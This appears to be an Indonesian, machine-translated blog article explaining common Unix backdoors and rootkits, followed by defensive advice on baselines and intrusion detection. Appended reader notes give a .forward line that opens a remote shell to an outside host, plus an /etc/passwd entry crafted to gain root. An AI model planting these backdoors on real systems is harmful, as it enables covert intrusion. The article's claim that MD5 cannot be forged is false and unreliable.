Pengertian Backdoor

Pengertian Backdoors

  Backdoors di buat oleh Puerto Sejak awal penyusup masuk ke komputer, mereka mencoba mengembangkan teknik atau backdoor yang memungkinkan mereka untuk kembali ke sistem. Dalam makalah ini, akan difokuskan pada banyak backdoor umum dan cara-cara yang mungkin untuk memeriksanya. Sebagian besar fokus akan berada di backdoors Unix dengan beberapa diskusi tentang backdoor Windows NT masa depan. Ini akan menjelaskan kerumitan masalah dalam mencoba untuk menentukan metode yang digunakan penyusup dan dasar untuk pemahaman administrator tentang bagaimana mereka dapat menghentikan penyusup untuk masuk kembali. Ketika seorang administrator memahami betapa sulitnya untuk menghentikan penyusup begitu mereka masuk, penghargaan terhadap proaktif untuk memblokir penyusup agar tidak semakin dipahami. Ini dimaksudkan untuk mencakup banyak backdoors populer yang umum digunakan oleh pemula dan penyusup tingkat lanjut. Ini tidak dimaksudkan untuk mencakup semua cara yang mungkin untuk menciptakan backdoor karena kemungkinannya tidak terbatas. Pintu belakang untuk sebagian besar penyusup menyediakan dua atau tiga fungsi utama: Mampu kembali ke mesin meskipun administrator mencoba untuk mengamankannya, misalnya, mengubah semua kata sandi. Mampu kembali ke mesin dengan visibilitas paling sedikit. 

Kebanyakan backdoor menyediakan cara untuk menghindari login dan berkali-kali mesin dapat muncul tidak memiliki online bahkan ketika penyusup menggunakannya. 

Mampu kembali ke mesin dengan waktu paling sedikit. Kebanyakan penyusup ingin dengan mudah kembali ke mesin tanpa harus melakukan semua pekerjaan mengeksploitasi lubang untuk mendapatkan akses.

Dalam beberapa kasus, jika penyusup mungkin berpikir administrator dapat mendeteksi backdoor yang diinstal, mereka akan menggunakan kerentanan berulang kali untuk masuk ke mesin sebagai satu-satunya backdoor. Jadi tidak menyentuh apa pun yang mungkin memberi petunjuk kepada administrator. Oleh karena itu, dalam beberapa kasus, kerentanan pada mesin tetap merupakan satu-satunya backdoor yang tidak diperhatikan. 

• Password Cracking Backdoor

 Salah satu metode pertama dan tertua dari penyusup yang digunakan untuk mendapatkan akses tidak hanya ke mesin Unix tetapi backdoors adalah untuk menjalankan password cracker. Ini menyingkap akun-akun dengan kata sandi yang lemah. Semua akun baru ini sekarang mungkin menjadi backdoor ke mesin bahkan jika administrator sistem mengunci akun penyusup. Seringkali, penyusup akan mencari akun yang tidak digunakan dengan kata sandi yang mudah dan mengubah kata sandi menjadi sesuatu yang sulit. Ketika administrator mencari semua akun yang lemah, akun dengan kata sandi yang dimodifikasi tidak akan muncul. Dengan demikian administrator tidak akan dapat dengan mudah menentukan akun mana yang akan dikunci. 

Rhosts + + Backdoor Pada jaringan Unix, layanan seperti Rsh dan Rlogin menggunakan metode otentikasi sederhana berdasarkan nama host yang muncul di rhosts. Seorang pengguna dapat dengan mudah mengkonfigurasi mesin mana yang tidak memerlukan kata sandi untuk masuk. Seorang penyusup yang mendapatkan akses ke file rhosts seseorang dapat meletakkan "+ +" di file dan itu akan memungkinkan siapa pun dari mana saja untuk masuk ke akun itu tanpa kata sandi. Banyak penyusup menggunakan metode ini terutama ketika NFS mengekspor direktori home ke dunia. Akun-akun ini menjadi ruang belakang bagi penyusup untuk kembali ke sistem. Banyak penyusup lebih suka menggunakan Rsh daripada Rlogin karena banyak kali tidak memiliki kemampuan logging. Banyak administrator yang memeriksa "+ +" oleh karena itu penyusup sebenarnya dapat memasukkan nama host dan nama pengguna dari akun lain yang disusupi pada jaringan, membuatnya kurang jelas untuk dilihat.

• Backdoors Checksum dan Timestamp
 
 Sejak awal, banyak penyusup menggantikan binari dengan versi trojan mereka sendiri. Banyak administrator sistem mengandalkan waktu-stamping dan program checksum sistem, misalnya, program penjumlahan Unix, untuk mencoba menentukan kapan file biner telah dimodifikasi. Penyusup telah mengembangkan teknologi yang akan menciptakan stempel waktu yang sama untuk file trojan sebagai file asli. Ini dilakukan dengan mengatur waktu jam sistem kembali ke waktu file asli dan kemudian menyesuaikan waktu file trojan ke jam sistem. Setelah file trojan biner memiliki waktu yang sama persis dengan aslinya, jam sistem direset ke waktu saat ini. Program penjumlahan bergantung pada checksum CRC dan mudah dipalsukan. Penyusup telah mengembangkan program yang akan memodifikasi trojan binary untuk memiliki checksum asli yang diperlukan, sehingga menipu administrator. MD5 checksum adalah pilihan yang direkomendasikan untuk digunakan saat ini oleh sebagian besar vendor. MD5 didasarkan pada algoritme yang belum pernah terbukti oleh siapa pun dapat dipalsukan.

• Login Backdoor Pada Unix
 
 program login adalah perangkat lunak yang biasanya melakukan otentikasi kata sandi ketika seseorang melakukan telnet ke mesin. Penyusup mengambil kode sumber untuk login.c dan memodifikasinya ketika login membandingkan kata sandi pengguna dengan kata sandi yang tersimpan, pertama-tama akan memeriksa kata sandi backdoor. Jika pengguna mengetikkan kata sandi backdoor, itu akan memungkinkan Anda untuk masuk terlepas dari apa yang administrator set password. Dengan demikian ini memungkinkan penyusup untuk masuk ke akun mana pun, bahkan root. Backdoor kata sandi akan menelurkan akses sebelum pengguna benar-benar masuk dan muncul di utmp dan wtmp. Oleh karena itu penyusup bisa masuk dan memiliki akses shell tanpa itu muncul siapa pun yang ada di mesin itu sebagai akun itu. Administrator mulai memperhatikan backdoors ini terutama jika mereka melakukan perintah "string" untuk menemukan teks apa yang ada di program login. Banyak kali kata sandi backdoor akan muncul. Para penyusup kemudian dienkripsi atau menyembunyikan kata sandi backdoor lebih baik sehingga tidak akan muncul hanya dengan melakukan string. Banyak administrator dapat mendeteksi backdoor ini dengan MD5 checksum.
 
• Telnetd Backdoor
  
  Ketika seorang pengguna melakukan telnet ke mesin, layanan inetd mendengarkan port dan menerima koneksi dan kemudian meneruskannya ke in.telnetd, yang kemudian menjalankan login. Beberapa penyusup tahu administrator sedang memeriksa program masuk untuk merusak, sehingga mereka memodifikasi in.telnetd. Dalam in.telnetd, ia melakukan beberapa pemeriksaan dari pengguna untuk hal-hal seperti jenis terminal yang digunakan pengguna. Biasanya, pengaturan terminal mungkin Xterm atau VT100. Seorang penyusup bisa meng-backdoor-nya sehingga ketika terminal disetel ke "letmein", ia akan menelurkan cangkang tanpa memerlukan otentikasi apa pun. Penyusup telah kembali ke beberapa layanan sehingga koneksi apa pun dari port sumber tertentu dapat menghasilkan cangkang.
 
• Layanan Backdoor
  
  Hampir setiap layanan jaringan pada satu waktu telah backdoored oleh penyusup. Versi backdoored dari jari, rsh, rexec, rlogin, ftp, bahkan inetd, dll, telah beredar selamanya. Ada program yang tidak lebih dari sebuah shell yang terhubung ke port TCP dengan mungkin password backdoor untuk mendapatkan akses. Program-program ini terkadang menggantikan layanan seperti uucp yang tidak pernah digunakan atau mereka ditambahkan ke file inetd.conf sebagai layanan baru. Administrator harus sangat berhati-hati terhadap layanan apa yang sedang berjalan dan menganalisis layanan asli dengan checksum MD5.
 
• Cronjob backdoor
  
  Cronjob pada jadwal Unix ketika program-program tertentu harus dijalankan. Seorang penyusup bisa menambahkan program shell backdoor untuk menjalankan antara 01:00 dan 02:00. Jadi selama 1 jam setiap malam, penyusup bisa mendapatkan akses. Penyusup juga melihat program yang sah yang biasanya berjalan di cronjob dan membangun backdoors ke dalam program-program itu juga.
 
• Backdoors perpustakaan
   
   Hampir setiap sistem UNIX menggunakan pustaka bersama. Pustaka bersama dimaksudkan untuk menggunakan kembali banyak rutinitas yang sama sehingga mengurangi ukuran program. Beberapa penyusup memiliki backdoored beberapa rutinitas seperti crypt.c dan _crypt.c. Program seperti login.c akan menggunakan crypt () rutin dan jika password backdoor digunakan itu akan menghasilkan shell. Oleh karena itu, bahkan jika administrator sedang memeriksa MD5 dari program login, itu masih memunculkan rutin backdoor dan banyak administrator tidak memeriksa perpustakaan sebagai sumber backdoors yang mungkin.
    Satu masalah bagi banyak penyusup adalah beberapa administrator memulai MD5 checksum dari hampir semua hal. Salah satu metode penyusup digunakan untuk berkeliling yaitu untuk backdoor open () dan file akses rutinitas. Rutinitas backdoor dikonfigurasi untuk membaca file asli, tetapi jalankan backdoor trojan. Oleh karena itu, ketika program checksum MD5 sedang membaca file-file ini, checksum selalu terlihat bagus. Tetapi ketika sistem menjalankan program, ia menjalankan versi trojan. Bahkan pustaka trojan itu sendiri, bisa disembunyikan dari checksum MD5. Salah satu cara untuk administrator bisa mendapatkan sekitar backdoor ini adalah secara statis menghubungkan pemeriksa checksum MD5 dan dijalankan pada sistem. Program yang terhubung secara statis tidak menggunakan trojan shared libraries.
  
• Kernel backdoors 
  
  Kernel pada Unix adalah inti dari cara kerja Unix. Metode yang sama yang digunakan untuk pustaka untuk melewati MD5 checksum dapat digunakan pada level kernel, kecuali bahkan program yang terhubung secara statis tidak dapat membedakannya. Sebuah kernel backdoor yang baik mungkin adalah salah satu yang paling sulit ditemukan oleh administrator, untungnya skrip backdoor kernel belum tersedia secara luas dan tidak ada yang tahu seberapa luas penyebarannya.
  
• Backdoor sistem 
  
  file Seorang penyusup mungkin ingin menyimpan jarahan atau data mereka di server di suatu tempat tanpa administrator menemukan file. File penyusup biasanya dapat berisi kotak alat untuk mengeksploitasi skrip, backdoor, sniffer logs, data yang disalin seperti pesan email, kode sumber, dll. Untuk menyembunyikan file yang terkadang besar ini dari administrator, penyusup dapat menambal perintah sistem file seperti "ls" , "du", dan "fsck" untuk menyembunyikan keberadaan direktori atau file tertentu. Pada tingkat yang sangat rendah, backdoor seorang penyusup membuat bagian pada hard drive untuk memiliki format kepemilikan yang ditetapkan sebagai sektor "buruk" pada hard drive. Jadi seorang penyusup dapat mengakses file-file tersembunyi tersebut dengan hanya alat khusus, tetapi kepada administrator reguler, sangat sulit untuk menentukan bahwa sektor-sektor "buruk" yang ditandai memang merupakan area penyimpanan untuk sistem file tersembunyi.
  
• Backdoor Bootblock
   
   Di dunia PC, banyak virus menyembunyikan diri di dalam bagian bootblock dan sebagian besar perangkat lunak antivirus akan memeriksa apakah bootblock telah diubah. Di Unix, sebagian besar administrator tidak memiliki perangkat lunak apa pun yang memeriksa bootblock, oleh karena itu beberapa penyusup telah menyembunyikan beberapa backdoor di area bootblock.
  
• Proses menyembunyikan backdoors 
  
  Seorang penyusup berkali-kali ingin menyembunyikan program yang sedang mereka operasikan. Program yang ingin mereka sembunyikan umumnya adalah cracker kata sandi atau sniffer. Ada beberapa metode dan berikut ini beberapa yang lebih umum: Seorang penyusup dapat menulis program untuk memodifikasi argumennya sendiri [] untuk membuatnya terlihat seperti nama proses lain. Seorang penyusup dapat mengubah nama program sniffer menjadi layanan yang sah seperti in.syslog dan menjalankannya. Jadi ketika administrator melakukan "ps" atau melihat apa yang sedang berjalan, nama layanan standar muncul. Seorang penyusup dapat memodifikasi rutinitas pustaka sehingga "ps" tidak menunjukkan semua proses. Seorang penyusup bisa menambal backdoor atau program ke dalam rutin yang dikendalikan interrupt sehingga tidak muncul dalam tabel proses. Contoh backdoor menggunakan teknik ini adalah amod.tar.gz tersedia di http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html Seorang penyusup dapat memodifikasi kernel untuk menyembunyikan proses tertentu juga.
  
• Rootkit 
  
  Salah satu paket paling populer untuk menginstal backdoors adalah rootkit. Ini dapat dengan mudah ditemukan menggunakan mesin pencarian Web. Dari README Rootkit, berikut adalah file-file khas yang diinstal: z2 - menghapus entri dari utmp, wtmp, dan lastlog. Es - rokstar ethernet sniffer untuk kernel berbasis sinar matahari. Perbaiki - cobalah untuk pengecekan palsu, instal dengan tanggal / izin / u / g yang sama. Sl - menjadi root melalui kata sandi ajaib yang dikirim untuk masuk. Ic - ifconfig yang dimodifikasi untuk menghapus flag PROMISC dari output. ps: - menyembunyikan prosesnya. Ns - diubah netstat untuk menyembunyikan koneksi ke mesin tertentu. Ls - menyembunyikan direktori dan file tertentu agar tidak terdaftar. du5 - menyembunyikan berapa banyak ruang yang digunakan pada hard drive Anda. ls5 - menyembunyikan file dan direktori tertentu agar tidak terdaftar.
  
• Backout lalu lintas jaringan 
  
  Tidak hanya penyusup yang ingin menyembunyikan jejak mereka di mesin, tetapi juga mereka ingin menyembunyikan lalu lintas jaringan mereka sebanyak mungkin. Backdoor lalu lintas jaringan ini terkadang memungkinkan penyusup untuk mendapatkan akses melalui firewall. Ada banyak program backdoor jaringan yang memungkinkan penyusup untuk memasang nomor port tertentu pada mesin yang akan memungkinkan akses tanpa melalui layanan normal. Karena lalu lintas akan menuju ke port jaringan non-standar, administrator dapat mengabaikan lalu lintas penyusup. Backdoor lalu lintas jaringan ini biasanya menggunakan TCP, UDP, dan ICMP, tetapi bisa banyak jenis paket lainnya.
  
• TCP Shell Backdoors 
  
  Pengacau dapat mengatur backdoor TCP Shell ini pada beberapa nomor port tinggi mungkin di mana firewall tidak memblokir port TCP itu. Banyak kali, mereka akan dilindungi dengan kata sandi hanya agar administrator yang terhubung ke itu, tidak akan segera melihat akses shell. Administrator dapat mencari koneksi ini dengan netstat untuk melihat port apa yang mendengarkan dan di mana koneksi saat ini akan dan dari. Banyak kali, backdoors ini memungkinkan penyusup untuk melewati teknologi TCP Wrapper. Backdoor ini dapat dijalankan pada port SMTP, yang banyak firewall memungkinkan lalu lintas untuk lulus untuk e-mail.
  
• UDP Shell Backdoors
   
   Administrator berkali-kali dapat melihat koneksi TCP dan melihat perilaku aneh, sementara backdoor UDP shell tidak memiliki koneksi sehingga netstat tidak akan menampilkan penyusup yang mengakses mesin Unix. Banyak firewall telah dikonfigurasi untuk memungkinkan paket UDP untuk layanan seperti DNS. Banyak kali, penyusup akan menempatkan backdoor UDP Shell pada port itu dan itu akan diizinkan untuk melewati firewall.
  
• ICMP Shell Backdoors 
  
  Ping adalah salah satu cara paling umum untuk mengetahui apakah mesin hidup dengan mengirim dan menerima paket ICMP. Banyak firewall memungkinkan orang luar untuk melakukan ping mesin internal. Seorang penyusup dapat memasukkan data dalam paket Ping ICMP dan membuat terowongan di antara mesin-mesin ping. Seorang administrator mungkin melihat kebingungan paket Ping, tetapi kecuali administrator melihat data dalam paket, penyusup dapat tanpa disadari.
  
• Tautan Terenkripsi 
  
  Administrator dapat mengatur sniffer untuk melihat data yang muncul saat seseorang mengakses shell, tetapi penyusup dapat menambahkan enkripsi ke backdoors lalu lintas Jaringan dan hampir tidak mungkin untuk menentukan apa yang sebenarnya sedang dikirim antara dua mesin.
  
• Windows NT 
  
  Karena Windows NT tidak dengan mudah memungkinkan banyak pengguna pada satu mesin dan akses jarak jauh mirip dengan Unix, menjadi lebih sulit bagi penyusup untuk masuk ke Windows NT, memasang backdoor, dan meluncurkan serangan darinya. Dengan demikian Anda akan menemukan lebih banyak serangan jaringan yang dipancarkan dari kotak Unix daripada Windows NT. Karena kemajuan Windows NT dalam teknologi multi-pengguna, ini dapat memberikan frekuensi yang lebih tinggi dari para penyusup yang menggunakan Windows NT untuk keuntungan mereka. Dan jika ini terjadi, banyak konsep dari backdoors Unix dapat diporting ke Windows NT dan administrator dapat siap untuk penyusup. Hari ini, sudah ada daemon telnet yang tersedia untuk Windows NT. Dengan backdoors Network Traffic, mereka sangat layak bagi para penyusup untuk menginstal pada Windows NT.
  

Solusi 
  
  Sebagai kemajuan teknologi backdoor, semakin sulit bagi administrator untuk menentukan apakah penyusup telah masuk atau jika mereka berhasil dikunci. 
  
  Penilaian 
  
  Salah satu langkah pertama untuk bersikap proaktif adalah menilai seberapa rentan jaringan Anda, sehingga mampu mencari tahu lubang apa yang ada yang harus diperbaiki. Banyak alat komersial tersedia untuk membantu memindai dan mengaudit jaringan dan sistem untuk kerentanan. Banyak perusahaan dapat meningkatkan keamanan mereka secara dramatis jika mereka hanya memasang patch keamanan yang disediakan secara gratis oleh vendor mereka.
  
  MD5 Baselines 
  
  Salah satu komponen penting dari pemindai sistem adalah baseline MD5 checksum. Ini baseline MD5 harus dibangun sebelum serangan hacker dengan sistem yang bersih. Setelah peretas masuk dan memasang backdoors, mencoba membuat baseline setelah fakta dapat memasukkan backdoors ke baseline. Beberapa perusahaan telah diretas dan memiliki backdoor yang dipasang pada sistem mereka selama berbulan-bulan. Lembur, semua backup sistem berisi backdoor. Ketika beberapa perusahaan ini mengetahui bahwa mereka memiliki seorang peretas, mereka memulihkan cadangan dengan harapan untuk menghapus setiap backdoor. Upaya itu sia-sia karena mereka mengembalikan semua file, bahkan yang backdoor. Perbandingan baseline biner perlu dilakukan sebelum serangan terjadi.
  
  Intrusion detection 
  
  Deteksi intrusi menjadi lebih penting karena organisasi mengaitkan dan memungkinkan koneksi ke beberapa mesin mereka. Sebagian besar teknologi deteksi intrusi yang lebih tua adalah peristiwa berbasis log. Teknologi Intrusion Detection System (IDS) terbaru didasarkan pada pengintaian real-time dan analisis keamanan lalu lintas jaringan. Banyak backdoor lalu lintas jaringan sekarang dapat dengan mudah dideteksi. Teknologi IDS terbaru dapat melihat paket DNS UDP dan menentukan apakah cocok dengan permintaan protokol DNS. Jika data pada port DNS tidak sesuai dengan protokol DNS, tanda peringatan dapat diberi isyarat dan data yang diambil untuk analisis lebih lanjut. Prinsip yang sama dapat diterapkan pada data dalam paket ICMP untuk melihat apakah itu adalah data ping normal atau apakah itu membawa sesi shell yang dienkripsi.
  
  Booting dari CD-ROM.
   
   Beberapa administrator mungkin ingin mempertimbangkan boot dari CD-ROM sehingga menghilangkan kemungkinan penyusup menginstal backdoor pada CD-ROM. Masalah dengan metode ini adalah biaya dan waktu pelaksanaan solusi ini perusahaan yang luas.
  
  Waspada
   
   Karena bidang keamanan berubah begitu cepat, dengan kerentanan baru yang diumumkan setiap hari dan penyusup terus-menerus merancang teknik serangan dan backdoor baru, tidak ada teknologi keamanan yang efektif tanpa kewaspadaan.
  
  Ketahuilah bahwa tidak ada pertahanan yang sangat mudah, dan tidak ada pengganti untuk perhatian yang tekun.
  
  
  -------------------------------------------------------------------------
  
  Anda mungkin ingin menambahkan: 

 .forward Backdoor

 Pada mesin Unix, menempatkan perintah ke dalam file .forward juga merupakan metode umum untuk mendapatkan kembali akses. Untuk akun, `` username '' .forward file dapat dikonstruksi sebagai berikut: 

\ username | "/ usr / local / X11 / bin / xterm -disp hacksys.other.dom : 0.0 -e / bin / sh "

   permutasi dari metode ini termasuk pengubahan dari file mail 
   aliases file (paling sering ditempatkan di / etc / aliases). Perhatikan bahwa 
   ini adalah permutasi sederhana, yang lebih maju dapat menjalankan skrip sederhana 
   dari file forward yang dapat mengambil perintah sewenang-wenang melalui 
    stdin (setelah preprocessing kecil). 

PS: Metode di atas juga berguna untuk mendapatkan akses perusahaan 
    mailhub (dengan asumsi ada direktori home yang dibagi FS di 
    klien dan server ). --------> Menggunakan smrsh dapat secara efektif meniadakan backdoor ini (meskipun cukup 
 > mungkin masih menjadi masalah jika Anda mengizinkan hal-hal seperti elm's filter atau 
 > procmail yang dapat menjalankan program sendiri ...).

  
-------------------------------------------------- -----------------------------------

Anda mungkin ingin menambahkan "fitur" ini yang dapat bertindak sebagai backdoor: 

 ketika menentukan uid salah / gid di file / etc / password, 
login (1) implementasi akan gagal mendeteksi salah 
uid / gid dan atoi (3) akan mengatur uid / gid ke 0, memberi superuser

hak istimewa .

contoh: rmartin: x: x50: 50: R. Martin: / home / rmartin: / bin / tcsh 

pada kotak Linux, ini akan memberikan uid 0 ke rmartin pengguna.

Tag

#AttackOfCyber 

#Backdoors

Jika ada pertanyaan hubungi admin melalui komen dibawah ini :)